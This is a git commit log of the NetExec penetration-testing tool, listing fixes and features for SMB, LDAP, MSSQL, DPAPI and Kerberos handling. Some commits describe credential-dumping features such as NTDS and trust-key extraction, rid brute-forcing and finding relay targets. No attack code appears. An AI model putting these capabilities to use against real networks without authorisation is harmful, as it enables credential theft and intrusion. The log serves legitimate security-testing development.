azoxlpf 130c668de8 Only mark RDP hosts Pwn3d when a real session actually opens 2026-08-05 22:21:57 +02:00
Marshall Hallenbeck 482c26631d fix: resolve merge conflicts with main (#1190)
Merge upstream import changes in smb.py and proto_args.py while
preserving --get-folder feature additions.

Refs #1190
2026-08-05 15:28:01 -04:00
azoxlpf cfee504986 allow modules to abort the run by returning False from options() 2026-08-04 18:12:24 +02:00
mpgn 00811f26cc removing oscrypto 2026-08-02 23:14:45 +02:00
mpgn 9d43cf71ea Merge pull request #1344 from Pennyw0rth/fix-uv-lock-impacket-source
Sync uv lock with fortra
2026-08-02 23:00:11 +02:00
mpgn 80c22d4611 update uv lock 2026-08-02 22:39:39 +02:00
zblurx 395bad514d using function returned values instead of counter 2026-08-02 22:34:48 +02:00
zblurx a34140e7c1 ruff 2026-08-02 22:29:40 +02:00
zblurx 2f11e2f41e few changes related to reviews 2026-08-02 22:22:25 +02:00
Alex 1ae944ff07 Merge pull request #654 from crosscutsaw/rclone
new module: smb > rclone
2026-08-02 15:56:28 +02:00
Alexander Neff 100f3a1428 Fix dpapi key output in lsa 2026-08-01 17:40:49 -04:00
Alexander Neff 7a8b85406a Merge main 2026-08-01 16:29:44 -04:00
Alex 61bfc61bb8 Merge pull request #1337 from Mauriceter/fix_gpppriv
fix ldap resolution failure in GPP_Privileges module
2026-08-01 22:22:17 +02:00
Alexander Neff 5f109a4bcd Functionalize basedn query 2026-08-01 16:20:30 -04:00
Alex 738b842ab4 Merge pull request #1343 from Pennyw0rth/neff-add-documentation 2026-07-31 17:34:04 +02:00
Alex a093f3a33a Fixing an ancient typo 2026-07-31 17:22:11 +02:00
mpgn a3dca37946 Merge pull request #1317 from Pennyw0rth/isdc
Refactor isdc to show if server is dc or not
2026-07-31 17:17:56 +02:00
Alexander Neff 506ebd75ef Add documentation for bloodhound collector 2026-07-31 11:09:41 -04:00
Alex 8baa6a6071 Merge pull request #1342 from XedSama/fix-netbios-timeout-ws2025
Increasing dynamically SMB timeout against WS2025 NTLM rate-limiting
2026-07-31 17:06:46 +02:00
Alexander Neff 50f5f07aca Added some documentation/explanation 2026-07-31 11:02:52 -04:00
XedSama 4fe5ae661f Update smb.py 2026-07-31 16:26:04 +02:00
XedSama 40d30de6e6 Merge branch 'fix-netbios-timeout-ws2025' of github.com:XedSama/NetExec into fix-netbios-timeout-ws2025 2026-07-31 15:42:39 +02:00
XedSama b6d6b2d3cb Update smb.py 2026-07-31 15:42:01 +02:00
Xed 6e6534de29 Merge branch 'main' into fix-netbios-timeout-ws2025 2026-07-31 15:25:12 +02:00
Azox 7ca004be28 Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-07-31 15:23:17 +02:00
XedSama 2edf87d8c0 Update smb.py 2026-07-31 14:56:45 +02:00
XedSama 1c6e3247fa Improvement with contextlib 2026-07-31 14:34:52 +02:00
XedSama 74811feaba Update smb.py 2026-07-31 14:22:53 +02:00
mpgn d24af22385 Merge pull request #1244 from Pennyw0rth/mpgn-patch-1
Add new option to toml file to exclude package is old enough
2026-07-31 09:44:18 +02:00
Alexander Neff 288a3340d3 Update lock file 2026-07-30 16:51:44 -04:00
mpgn 577ded5ad8 fix from review 2026-07-30 22:37:13 +02:00
Alex 45035f281e Merge pull request #1333 from Char0n1507/fix/issue-1320-ssh-race-condition
fix: db_execute lock scope to prevent thread-safety race (#1320)
2026-07-30 20:46:11 +02:00
azoxlpf 5bd45d2ca6 restore Schannel whoami lookup to display the real mapped user 2026-07-30 17:35:06 +02:00
azoxlpf d97907bff8 fix requested changes 2026-07-30 17:21:10 +02:00
serwiz 4444e45e2a Added Try catch exception over smb connection and forward ldap connection timeout too 2026-07-30 14:06:23 +02:00
serwiz 313487fe3f Corrected LSA RPC into LDAP + Well Known SIDs 2026-07-30 12:14:44 +02:00
serwiz 254f69defb Restore localized SID resolution through LSA 2026-07-30 11:37:13 +02:00
serwiz 2eac3ce028 Handle unresolved LDAP SIDs 2026-07-30 11:24:24 +02:00
serwiz 22d3dcc5bf Reviews from comments done for maq module 2026-07-30 11:03:23 +02:00
Joachim De Bats 4235593af5 fix ldap resolution failure 2026-07-29 09:18:47 +02:00
Marshall Hallenbeck dee28e3473 Merge pull request #1132 from Pennyw0rth/fix/moduleloader-isolated-namespaces
fix(moduleloader): isolate module namespaces and cache loaded modules
2026-07-28 20:15:39 -04:00
Marshall Hallenbeck 2b0edf3bd5 Merge pull request #1335 from Dfte/proto_back
Allow using proto to switch protocole without calling back
2026-07-28 15:17:40 -04:00
Marshall Hallenbeck c3e67e42fe Merge branch 'main' into fix/moduleloader-isolated-namespaces 2026-07-28 15:11:34 -04:00
Marshall Hallenbeck 476228c386 test(e2e): cover printnightmare in e2e_commands
printnightmare was absent from the e2e command list entirely, including the
combined multi-module line. It defines its own impacket NDRCALL requests,
which makes it the module most sensitive to how the loader registers modules
in sys.modules — and the gap meant a loader regression that broke it ran
clean through the whole suite.

Add it standalone and to the multi-module line, so both single-module and
multi-module loading paths exercise it.
2026-07-28 15:08:13 -04:00
Marshall Hallenbeck d40b810aed fix(moduleloader): register loaded modules in sys.modules
module_from_spec() + exec_module() does not add the module to sys.modules,
which the load_module() call it replaced did implicitly. Modules that define
their own impacket NDRCALL requests depend on impacket resolving the matching
Response class through sys.modules[request.__module__] (dcerpc/v5/rpcrt.py),
so printnightmare aborted every run with:

    ModuleNotFoundError: No module named 'nxc_module_printnightmare'

Register the module under its unique name before executing it. This restores
the lookup impacket needs while keeping each module in its own namespace, as
the unique name is still distinct per module file.
2026-07-28 15:08:04 -04:00
Aurélien CHALOT eb3a51c86a liting 2026-07-28 20:23:25 +02:00
Aurélien CHALOT 3ef2a121c5 Allow using proto to switch protocole without calling back 2026-07-28 19:24:42 +02:00
mpgn 27d30e48a0 add isdc as option 2026-07-28 15:27:25 +02:00
bb d592eb153c fix: db_execute lock scope to prevent thread-safety race (#1320) 2026-07-28 09:19:13 -04:00
zblurx f210749bcb Merge branch 'main' into dpapi_upgrade
Signed-off-by: zblurx <[email protected]>
2026-07-28 10:07:57 +02:00
Alexander Neff 67ec4e14ed Fix check for login functions 2026-07-27 10:47:10 -04:00
Alex c35233c4db Merge pull request #1318 from Goultarde/fix/sccm-dpapi-kdchost
fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos
2026-07-27 16:17:54 +02:00
Goultarde 7895b1898e Also pass dc_ip to dploot Target in dpapi() 2026-07-26 17:46:39 +02:00
Goultarde 59778f5b70 Use self.targetDomain for trust key salt derivation 2026-07-26 17:32:06 +02:00
Alex 80317f12ea Merge pull request #1328 from XedSama/update-enum-cve
Update enum_cve.py
2026-07-26 14:04:58 +02:00
Alexander Neff c6972c1434 Move deobfuscation functions into the module 2026-07-26 06:21:42 -04:00
Alexander Neff 9f069f57b5 Add module category 2026-07-26 06:00:30 -04:00
Alexander Neff b5a1141755 Formatting 2026-07-26 05:59:48 -04:00
Alex a18aaa2708 Merge branch 'main' into rclone 2026-07-26 11:58:21 +02:00
XedSama 6c6970ef4d Update enum_cve.py 2026-07-25 12:16:24 +02:00
Marshall Hallenbeck 40f1e2b616 Merge branch 'main' into fix/moduleloader-isolated-namespaces 2026-07-23 22:07:16 -04:00
azoxlpf 98ae72fa2c simplify Schannel LDAPConnection call 2026-07-23 09:35:24 +02:00
zblurx 4a235a45b6 remove unused mark 2026-07-22 21:01:58 +02:00
zblurx 2d04789b10 update pvk file reading 2026-07-22 20:54:30 +02:00
zblurx f2cbdc4372 update e2e_commands.txt 2026-07-22 20:44:39 +02:00
zblurx 6b509c402a update pyproject.toml 2026-07-22 20:14:26 +02:00
zblurx fe758a6270 ruff check 2026-07-22 20:11:07 +02:00
zblurx f0047bc321 fix dploot related modules 2026-07-22 20:00:05 +02:00
zblurx f476bf2313 fix mssql dabatase for backupkey 2026-07-22 18:14:12 +02:00
zblurx 2d35724a6e add dpapi for mssql 2026-07-22 17:53:00 +02:00
zblurx 88d0c7bb3f dpapi refacto 2026-07-22 17:25:46 +02:00
zblurx 7ccf5aaddb add dpapi for winrm 2026-07-22 12:48:46 +02:00
zblurx e60d8f1b34 add dpapi for wmi proto 2026-07-22 12:04:46 +02:00
zblurx db422c71b2 update smb proto 2026-07-22 12:04:30 +02:00
azoxlpf 6c59c7a11e Merge remote-tracking branch 'origin/main' into feat/add-schannel 2026-07-22 09:47:32 +02:00
azoxlpf f6e85c809e requested changes 2026-07-22 09:37:10 +02:00
Alex cd599504ad Merge pull request #1311 from Functionhx/fix/netexec-1273-export-keys
fix: add get_keys fallback to prevent export keys crash
2026-07-21 19:32:43 +02:00
mpgn b2a9c7484f Merge pull request #1313 from Pennyw0rth/ldaptiemout
Add ldap timeout option to ldap protocol
2026-07-21 19:30:17 +02:00
Alexander Neff 1256a81215 Linting 2026-07-21 13:20:23 -04:00
Alexander Neff b8f431c756 Merge branch 'ldaptiemout' of https://github.com/Pennyw0rth/NetExec into ldaptiemout 2026-07-21 13:13:05 -04:00
Alexander Neff ae57a98ec9 Exclude timeout errors by impacket from error messages 2026-07-21 13:13:00 -04:00
mpgn 6139fe5edc Update proto_args.py
Signed-off-by: mpgn <[email protected]>
2026-07-21 19:01:10 +02:00
mpgn 44ff3da079 Merge pull request #1282 from T1erno/fix-backup_operator
Fix for backup_operator module
2026-07-18 21:18:04 +02:00
mpgn fa07f0a702 Merge branch 'main' into fix-backup_operator 2026-07-18 21:11:56 +02:00
mpgn e79cf35845 refactor a little bit 2026-07-18 21:11:10 +02:00
Goultarde 77f6ab4f85 Add e2e tests and update --enabled help text for trust keys 2026-07-18 20:04:25 +02:00
mpgn 357d5b3873 Merge branch 'main' into mpgn-patch-1 2026-07-18 18:44:58 +02:00
Goultarde 9860c5fded Fix trust key lines disappearing with --enabled
Trust key lines never contain "Enabled"/"Disabled" (they have no account
status), so the --enabled filter silently dropped them entirely. Detect
trust key lines and always show them regardless of --enabled.
2026-07-18 15:25:52 +02:00
Goultarde d96e92d867 Fix trust-keys dump summary messages
--just-trust-keys reused the regular NTDS dump summary ("NTDS hashes",
"added to the database", grep-disabled hint), which is meaningless
when only trust keys are dumped (no accounts are enumerated). Show a
summary specific to that mode instead.
2026-07-18 13:48:52 +02:00
Goultarde dc7e0e432d Add --just-trust-keys to smb ntds dump
Like --trust-keys but skips account enumeration entirely (implied --just-dc
behavior in impacket), emitting only the trust keys. Useful when only the
inter-realm keys are needed, for a faster and quieter dump.
2026-07-18 13:33:11 +02:00
Goultarde dd72a956e6 Add --trust-keys to smb ntds dump
Expose impacket secretsdump's trust key extraction (fortra/impacket#2207)
through NetExec's --ntds: dumps Trusted Domain Object secrets and derives
inter-realm Kerberos (AES256, AES128) and RC4 keys for each trust direction.

Also fixes the account-line status stripping in add_hash(), which blindly
dropped the last space-separated word of every secret line (meant to strip
the trailing "Enabled"/"Disabled" on account lines) and was truncating the
trust key lines, which contain spaces but no status suffix.
2026-07-18 13:00:34 +02:00
Goultarde b62e0e2a22 fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos 2026-07-16 23:05:42 +02:00
mpgn ec54abe827 refactor isdc 2026-07-16 22:35:14 +02:00
mpgn d78faffb6f Merge branch 'main' into ldaptiemout 2026-07-16 21:01:24 +02:00
Aurélien CHALOT 6b030fce79 typo 2026-07-16 14:03:56 +02:00
mpgn 4eac71fa70 add except 2026-07-16 13:28:07 +02:00
Alex ff198407f8 Merge pull request #1314 from Pennyw0rth/neff-fix-mssql-rid-brute 2026-07-15 23:18:14 +02:00
Alexander Neff 1438edbe8c Update certipy due to bugs in current github main branch 2026-07-15 16:57:59 -04:00
mpgn 30fb8691d0 Update ruff dependency to latest version
Signed-off-by: mpgn <[email protected]>
2026-07-15 21:33:49 +02:00
mpgn 1c091a62a8 Refactor dev dependencies in pyproject.toml
Removed specific dependencies from the dev group in pyproject.toml and added a comment about the uv and poetry native dev group.

Signed-off-by: mpgn <[email protected]>
2026-07-15 21:31:01 +02:00
Alexander Neff c7a44ade4a Fix rid bruteforce in MSSQL 2026-07-15 14:17:00 -04:00
mpgn 567f4629cd Merge branch 'main' into ldaptiemout 2026-07-15 17:17:49 +02:00
mpgn b4f5b4182d add lock 2026-07-15 16:10:57 +02:00
mpgn 502df2f2ac fix ruff version 2026-07-15 16:10:57 +02:00
mpgn 1abed07bca Merge branch 'main' into mpgn-patch-1
Signed-off-by: mpgn <[email protected]>
2026-07-15 16:08:01 +02:00
mpgn d77c79bcc5 fix ruff version 2026-07-15 16:06:30 +02:00
mpgn fd6b32e386 Delete poetry.toml
Signed-off-by: mpgn <[email protected]>
2026-07-15 15:48:53 +02:00
mpgn 8a459a3647 add ldap timeout
Add a --ldap-timeout option (default 10s) and pass it through to
impacket's LDAPConnection, which now supports a native connection
timeout (fortra/impacket#2217). Also deprecate the generic --timeout
flag and bump the pinned impacket to the commit that ships the timeout
parameter.
2026-07-15 15:32:45 +02:00
Functionhx 7e74daf9dd test: add do_export end-to-end regression test for keys empty guard
Codex R2 found the existing three tests never call DatabaseNavigator.do_export,
so removing the empty-key guard would leave all tests passing while restoring
false success and file truncation. Add a test that constructs a
DatabaseNavigator, calls do_export('keys all <file>'), and asserts the file is
unchanged, the failure message appears, and the success message does not.

Refs: Pennyw0rth/NetExec#1273
Signed-off-by: Yuchen Fan <[email protected]>
2026-07-13 11:42:07 +08:00
Functionhx 251cc8e0a3 fix: guard keys export against empty results to prevent file truncation
The get_keys() base class returns [] for protocols without key support
(e.g. SMB). Without this guard, write_list() opens the target file in
'w' mode, writes nothing, and reports success — silently truncating any
existing file. Add an empty-keys check before file open, plus regression
tests that cover both the BaseDB fallback and the write_list truncation
behavior.

Signed-off-by: Yuchen Fan <[email protected]>
2026-07-13 10:23:42 +08:00
Functionhx 5d0a5fa97a fix: add get_keys() to BaseDB to prevent AttributeError on export keys
The nxcdb export keys command calls self.db.get_keys() which only
existed as a method on the SSH protocol database class. When called
from any other protocol (smb, mssql, winrm, etc.), it raised an
AttributeError because the base database class had no such method.

Add a default get_keys() method to BaseDB that returns an empty list.
Protocols that support keys (SSH) already override this method with
their own implementation, so SSH behavior is unchanged.

Also add argument validation and a success message to the keys export
handler in nxcdb.py for consistency with other export commands.

Fixes: Pennyw0rth/NetExec#1273
Signed-off-by: Yuchen Fan <[email protected]>
2026-07-13 02:08:43 +08:00
Alex d1fc6d5784 Merge pull request #1310 from termanix/nfs-shares-db
Add Shares and Export DB for NFS
2026-07-12 15:25:53 +02:00
Alexander Neff e4c3c06ff1 Fix output filename when exporting the hosts 2026-07-12 09:22:26 -04:00
Alex 51c0370fe2 Merge pull request #1284 from azoxlpf/refactor/daclread-replace-ldap3
Replace ldap3 with impacket in daclread module
2026-07-12 15:05:18 +02:00
Alexander Neff 2a3fb7a168 Remove custom ldap filtering 2026-07-12 08:47:45 -04:00
termanix 55538fe18d Update pyNFSClient resolved_reference 2026-07-11 20:31:37 +03:00
termanix d908f8aeeb Hosts export works as well 2026-07-11 20:30:04 +03:00
termanix 77bf1f8970 Merge branch 'main' into nfs-shares-db 2026-07-11 19:54:53 +03:00
termanix 14bd63a7f1 Add Shares and Export DB for NFS 2026-07-11 19:47:29 +03:00
Alex 93c64fcc0b Merge pull request #1251 from azoxlpf/fix/atexec-2025
Fix atexec task execution on 2025 servers
2026-07-11 18:46:17 +02:00
Alex cbb2131380 Merge pull request #1286 from azoxlpf/refactor/gpp-privileges-replace-ldap3
Replace ldap3 with impacket in gpp_privileges module
2026-07-11 18:36:29 +02:00
Alex c5d7918346 Merge pull request #1309 from Pennyw0rth/neff-stop-anon-mssql
Don't allow anonymous auth in MSSQL
2026-07-11 18:23:01 +02:00
Alexander Neff 6de681f84e Set context to class var and remove unnecessary logic 2026-07-11 12:19:27 -04:00
termanix 3817719dcc Merge branch 'Pennyw0rth:main' into main 2026-07-11 18:56:52 +03:00
Alex 721599632a Merge pull request #1285 from azoxlpf/refactor/sccm-replace-ldap3
Replace ldap3 with impacket in sccm module
2026-07-11 17:56:31 +02:00
Alex 4013347211 Merge pull request #1239 from azoxlpf/feat/add-generate-st
Add standalone --generate-st
2026-07-11 17:47:43 +02:00
Alexander Neff 7ceac6e738 Don't allow anon auth in mssql 2026-07-11 11:43:46 -04:00
Alex 8ce9d802fa Merge pull request #1308 from Dfte/add_database_nfs
Add host database for NFS
2026-07-11 17:39:17 +02:00
Alexander Neff c30a780bc3 Linting 2026-07-11 11:36:53 -04:00
Alex cd1746f09f Merge pull request #1307 from Dfte/add_encryptionreq_database_mssql
Add mssql version and encryption req flags in DB
2026-07-11 17:35:05 +02:00
Alex d80784d047 Merge pull request #1294 from BastienFaure/main
Handle situation where LDAP user objects do not have userAccount
2026-07-11 17:25:37 +02:00
Alexander Neff eb4b2b45fc Do kerberos auth when requesting a ST and add default SPN for storing ST 2026-07-11 11:22:03 -04:00
termanix cfca2732e2 Merge branch 'Pennyw0rth:main' into main 2026-07-10 18:36:51 +03:00
azoxlpf 77889ae7ca switched to fail + return False 2026-07-09 11:08:37 +02:00
azoxlpf 7718ecf526 only capture TGT/ST when --generate-st is set 2026-07-09 09:17:08 +02:00
Aurélien CHALOT c79f649f9d Add encryption status 2026-07-08 17:43:06 +02:00
Aurélien CHALOT f01876f3f9 Add hash algorithm in the output 2026-07-08 17:22:57 +02:00
Aurélien CHALOT ed450e2491 Add host database for NFS 2026-07-08 15:30:43 +02:00
Aurélien CHALOT 82d5c49485 Add mssql version and encryption req flags in DB 2026-07-08 13:29:09 +02:00
Alex 8dfe5573bf Merge pull request #1303 from TGJLS/main
fix(onelogon): allow onelogon module to work with same forrests and cross forrest
2026-07-05 20:54:09 +02:00
TGJLS 6dafdec453 fix(onelogon): allow onelogon module to work with same forrests and cross forrest
Signed-off-by: TGJLS <[email protected]>
2026-07-05 18:29:43 +00:00
T1erno 337181e520 Ruff check on backup_operator 2026-07-04 21:28:52 -06:00
T1erno 0e80de5d68 reintroduced samdump in backup operator 2026-07-04 21:19:14 -06:00
T1erno 6dda035d2a Removed local admin usage and SAM reg dump 2026-07-02 20:55:09 -06:00
Alex d9871c5a04 Merge pull request #1301 from Pennyw0rth/neff-fix-nfs-upload
Fix file uploading in NFS
2026-07-02 19:57:21 +02:00
Alexander Neff 0d067da38c Fix file uploading 2026-07-02 13:43:08 -04:00
mpgn 1f9ecc8f77 Merge pull request #1297 from Pennyw0rth/neff-fix-signing
Fix SMBv1 None
2026-06-30 23:09:11 +02:00
mpgn 4c63f700dc Merge pull request #1300 from KevinCrrl/fix-spec-file
Fix: add dploot.triage.cng to netexec.spec
2026-06-30 23:05:37 +02:00
KevinCrrl 010ed45c12 Fix: add dploot.triage.cng to netexec.spec 2026-06-30 15:15:30 -05:00
Alexander Neff 33dbf4bf32 Use '.get()' as fallback for nonexisting userAccountControl values 2026-06-30 10:30:11 -04:00
Alexander Neff 1482deeccf Removing the no longer needed prefered dialect 2026-06-30 10:23:56 -04:00
Alex 6cd6418e40 Merge branch 'main' into neff-fix-signing 2026-06-30 16:23:08 +02:00
Alex bc810706b0 Merge pull request #1299 from bandrel/fix/smb-signing-false-negative-311
Fix SMB signing false negative on SMB 3.1.1 hosts
2026-06-30 16:19:16 +02:00
Alexander Neff 1b9bd310f2 Remove unnecessary variables 2026-06-30 09:40:04 -04:00
Alexander Neff 6fc0a6a8aa Cleanup con usage 2026-06-29 15:44:18 -04:00
Justin BollingerandClaude Opus 4.8 2536442a21 Address review: drop staticmethod, use isSigningRequired() below SMB 3.0
Per review feedback on #1299:
- Make _is_signing_required a regular method instead of a staticmethod.
- Collapse the SMBv1 and sub-3.0 branches into a single isSigningRequired()
  call; impacket only force-sets RequireSigning at 3.1.1, so that flag is
  accurate below SMB 3.0. Only the 3.0+ path needs the explicit
  ServerSecurityMode check.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-06-29 14:34:35 -04:00
Justin Bollinger e0372e7dc0 Merge branch 'main' into fix/smb-signing-false-negative-311 2026-06-29 14:06:17 -04:00
Alexander Neff 4f0b5bfd06 Fix SMBv1 detection text 2026-06-29 13:26:42 -04:00
Alexander Neff 29442cc6a8 Select SMB dialect 3.0.2 so we still can have unsigned connections 2026-06-29 13:17:56 -04:00
mpgn ef3a634601 Merge pull request #1296 from Pennyw0rth/patchldap 2026-06-29 18:10:25 +02:00
mpgn de2207d837 fix stracktrace port 636 closed 2026-06-29 15:08:54 +02:00
mpgn c2a3e48a04 Merge pull request #1295 from Pennyw0rth/mpgn-patch-2
Handle None in username check for SQL query results when rid-brute with mssql
2026-06-27 13:00:10 +02:00
mpgn da50debfca fix impacket pr with None 2026-06-26 22:57:22 +02:00
mpgn 12086c388c Refactor username null check in mssql.py
Simplified username null check in SQL query results.

Signed-off-by: mpgn <[email protected]>
2026-06-26 21:24:51 +02:00
mpgn 6a47c3217a Handle None in username check for SQL query results
Signed-off-by: mpgn <[email protected]>
2026-06-26 21:18:02 +02:00
Bastien Faure 04aac88205 Handle weird situation where LDAP user object do not have userAccountControl field 2026-06-26 05:23:18 -04:00
Justin BollingerandClaude Opus 4.8 4a93879014 Fix SMB signing false negative on SMB 3.1.1 hosts
impacket force-sets _Connection["RequireSigning"]=True for any SMB 3.1.1
negotiation regardless of the server's real policy (the 3.1.1 session setup
is always signed). Reading that flag caused false negatives in relay-target
discovery: 3.1.1 hosts (Windows 10/Server 2016+) that merely *enable* but do
not *require* signing were reported as signing:True and silently dropped from
--gen-relay-list output.

Read the real negotiated ServerSecurityMode for SMB 3.0+ instead, falling back
to RequireSigning for SMB 2.0.2/2.1 (where ServerSecurityMode is unpopulated
and RequireSigning is accurate). Logic extracted into a testable static helper
with mock-based regression tests.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
2026-06-24 14:20:46 -04:00
Alex f6b0896dd0 Merge pull request #1291 from Pennyw0rth/neff-onelogon 2026-06-23 20:32:29 +02:00
Alexander Neff b8a2365bf6 Add onelogon enumeration 2026-06-23 12:07:43 -04:00
Azox 9bd4e8e832 Regenerate poetry.lock after merge with main 2026-06-19 12:32:57 +02:00
Azox c94d00fbc1 resolve conflicts
Signed-off-by: Azox <[email protected]>
2026-06-19 12:18:40 +02:00
Azox 7fcb9b26ae Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-06-19 12:14:22 +02:00
azoxlpf 3a16b24afa reuse TGT from kerberosLogin for standalone --generate-st 2026-06-19 11:06:09 +02:00
azoxlpf 0501b85ba3 Merge branch 'main' into feat/add-generate-st 2026-06-19 10:48:02 +02:00
Alex 36acb706af Merge pull request #1288 from Pennyw0rth/neff-switch-impacket
Switch impacket source back to fortra
2026-06-19 09:18:11 +02:00
Alex 811bf4eb69 Merge pull request #1287 from azoxlpf/refactor/get-network-replace-ldap3
Remove unused ldap3 import from get-network module
2026-06-19 09:10:20 +02:00
Alexander Neff affbf673d6 Switch impacket source back to fortra 2026-06-19 03:10:04 -04:00
azoxlpf b98162efce remove unused ldap3 import from get-network module 2026-06-19 08:46:29 +02:00
azoxlpf 17a949aba9 replace ldap3 with impacket in gpp_privileges module 2026-06-18 16:56:15 +02:00
azoxlpf 0b2fecab53 replace ldap3 with impacket in sccm module 2026-06-18 14:43:30 +02:00
azoxlpf e1c99c9387 update comment 2026-06-18 14:39:34 +02:00
azoxlpf 4f75a7f55b replace ldap3 with impacket in daclread module 2026-06-18 14:30:43 +02:00
azoxlpf 812c63e00b move Schannel auth from schannel_login to plaintext_login 2026-06-18 10:46:18 +02:00
azoxlpf 841a28832f call hSchRpcRun only on Windows Server 2025 2026-06-17 10:00:14 +02:00
T1erno 2686436eb5 Fix for backup_operator module 2026-06-16 22:27:18 -06:00
Alex 2f3f064560 Merge pull request #1281 from termanix/patch-10 2026-06-12 16:23:34 +02:00
termanix c01dc7f84d Update build-binaries.yml
Signed-off-by: termanix <[email protected]>
2026-06-12 16:45:24 +03:00
termanix 420db6b0cf Add macos-26-intel for MacOS Intel
Signed-off-by: termanix <[email protected]>
2026-06-12 16:38:22 +03:00
mpgn 114b3be2d4 Merge pull request #1278 from azoxlpf/fix/pfx-stacktrace
fix: catch invalid PFX/PEM errors in certificate authentication
2026-06-10 09:51:43 +02:00
azoxlpf 59c032e4dd Declare cryptography as a direct dependency 2026-06-10 09:51:19 +02:00
azoxlpf 6126c790f9 catch certificate loading errors in pfx_auth 2026-06-09 11:05:17 +02:00
azoxlpf e8ad9528f9 add Schannel certificate authentication via --schannel 2026-06-09 09:45:35 +02:00
Alex f80c5105f4 Merge pull request #1263 from Dfte/add_db_enumeration
Add database edition and version enumeration
2026-06-07 22:37:54 +02:00
Alex efab20a2ea Merge pull request #1078 from azoxlpf/feat/u2u-support
Add User2User authentication
2026-06-07 17:57:07 +02:00
TristanInSec 09f3f823c6 Address review: make logger required, use .fail() for sanitization warnings 2026-06-06 16:19:38 -04:00
Alex a5379db31c Merge pull request #1270 from XedSama/drop-library-bug-fix
Bug fix : `drop-library-ms` not using NAME option
2026-06-05 11:35:05 +02:00
XedSama d773e63bd3 Fix lms_name and set it to NAME module option 2026-06-05 11:06:58 +02:00
Alex 12d006d831 Merge branch 'main' into feat/u2u-support 2026-06-04 17:54:09 +02:00
Alex b820f6d5fd Merge pull request #1254 from XedSama/dpapi-qol-empty
QoL DPAPI - Log message when empty
2026-06-04 17:53:32 +02:00
Alexander Neff af69e9dd95 Make code more efficient and explicit 2026-06-04 11:49:32 -04:00
Alex abeb163ad8 Merge pull request #1138 from e-nzym3/add-safe-shares-module
Add safe_shares SMB module: share permission enumeration module that does not write files to disk
2026-06-04 17:38:21 +02:00
Aurélien CHALOT 536c79008e Reduce size 2026-06-04 15:31:07 +02:00
Alex d6b328587e Merge pull request #1265 from shaaati/patch-1 2026-06-03 17:04:48 +02:00
shaaati 7388995af3 Sort SIDs ascendingly
Signed-off-by: shaaati <[email protected]>
2026-06-03 16:58:49 +02:00
shaaati 90ebee5fdf Extend search filter for admin check in ldap.py
Added SID for builtin group "Administrators"

Signed-off-by: shaaati <[email protected]>
2026-06-03 16:33:09 +02:00
Aurélien CHALOT 614c8cc0e8 Add database edition and version enumeration 2026-06-03 11:30:07 +02:00
Alex 761d0d91c0 Merge pull request #1262 from Pennyw0rth/neff-fix-delegation
Fix delegation
2026-06-02 22:49:47 +02:00
TristanInSec c20060a64a Refactor hostname sanitization into helpers/misc.py
Move the hostname sanitization regex from an inline check in
connection.py into a reusable sanitize_hostname() function in
nxc/helpers/misc.py, and apply it at the source in each protocol's
enum_host_info where hostnames are received from NTLM/server data.

Protocols covered: SMB, WinRM, WMI, MSSQL, RDP.

Addresses review feedback on PR #1243.
2026-06-02 16:49:46 -04:00
Alexander Neff 4694c26c8a Fix delegation and only create new SMB conn when we actually have a different target_ip (and not None) 2026-06-02 13:47:11 -04:00
Aurélien CHALOT 77f7f19223 Fix e2e 2026-06-02 13:48:03 +02:00
Aurélien CHALOT 262487ba03 Switch --backups to --list-backups 2026-06-02 12:44:12 +02:00
Aurélien CHALOT e2a7b853d7 Remove @requires_admin as it is not 2026-06-02 11:53:10 +02:00
Aurélien CHALOT cfc9123142 Refactor the --database argument to comply with security checks 2026-06-02 11:47:37 +02:00
Aurélien CHALOT 50d9103181 Patch futur reviews from Azox 2026-06-02 11:22:34 +02:00
Aurélien CHALOT 7fed03bd6a Patch futur reviews from Azox 2026-06-02 11:20:32 +02:00
Aurélien CHALOT 2c5abef853 Patch futur reviews from Azox 2026-06-02 11:19:42 +02:00
Aurélien CHALOT b96c7899ee Patch futur reviews from Azox 2026-06-02 11:16:56 +02:00
enzym3 000eae14f4 smb --shares: revert to fixed-width table, widen Permissions to 22 for DACL_WRITE 2026-06-01 12:51:13 -04:00
Aurélien CHALOT 7cad502a16 Add --backups 2026-06-01 17:58:09 +02:00
Aurélien CHALOT 3c7497e728 Factorise SQL request 2026-06-01 17:45:04 +02:00
Aurélien CHALOT 412b97af50 Add e2e test commands 2026-06-01 17:42:22 +02:00
Aurélien CHALOT e7304d9ec9 Add local database hash dump --db-hash 2026-06-01 17:39:07 +02:00
XedSama f7113a4128 Update smb.py 2026-06-01 14:07:33 +02:00
enzym3 41e0e01b5f Merge branch 'main' into add-safe-shares-module 2026-05-29 10:06:26 -04:00
azoxlpf 5f45de2b90 Fix atexec task execution on 2025 servers 2026-05-28 15:27:23 +02:00
Alex b7c0f6563c Merge pull request #1250 from azoxlpf/refactor/tsch-smb-exec
Refactor TSCH_EXEC and SMBEXEC
2026-05-27 17:19:15 +02:00
Alexander Neff 0237a07092 Remove stub variable 2026-05-27 11:05:26 -04:00
Alexander Neff d82fcfb08a Move things in args order 2026-05-27 11:04:27 -04:00
Alexander Neff 8c55ef6d8b Remove stub variable 2026-05-27 10:54:52 -04:00
Alexander Neff e99740dc96 Fix test that failed due to renamed arg 2026-05-27 10:49:44 -04:00
Alexander Neff f2a0dc3df9 Move things in args order 2026-05-27 10:49:27 -04:00
azoxlpf a6d29ab0ac Simplify TSCH_EXEC and SMBEXEC after NXCRPCConnection merge 2026-05-27 10:37:40 +02:00
Fabrizzio53 f3a90d9aca Refactor tombstone
refactored the code to return empty sAMAccountName when object does not have this attribute.

removed some variables that were not being used, such as opsec, multiple_host and self.__domain.

removed internal domain to dn function to now use connection.baseDN.

the number of deleted objects should be right now, temporary var is created and incremented for each deleted object found.

Signed-off-by: Fabrizzio53 <[email protected]>
2026-05-26 19:27:43 -03:00
Alex 51c13bc3e0 Merge pull request #1191 from azoxlpf/feat/add-rpc-class
Add RPC helper class and migrate SMB/module callers
2026-05-26 22:37:58 +02:00
Alex 515dccee24 Merge pull request #1247 from Pennyw0rth/add-azoxlpf-awesome-contributors
Add azoxlpf to awesome contributors
2026-05-25 22:48:23 +02:00
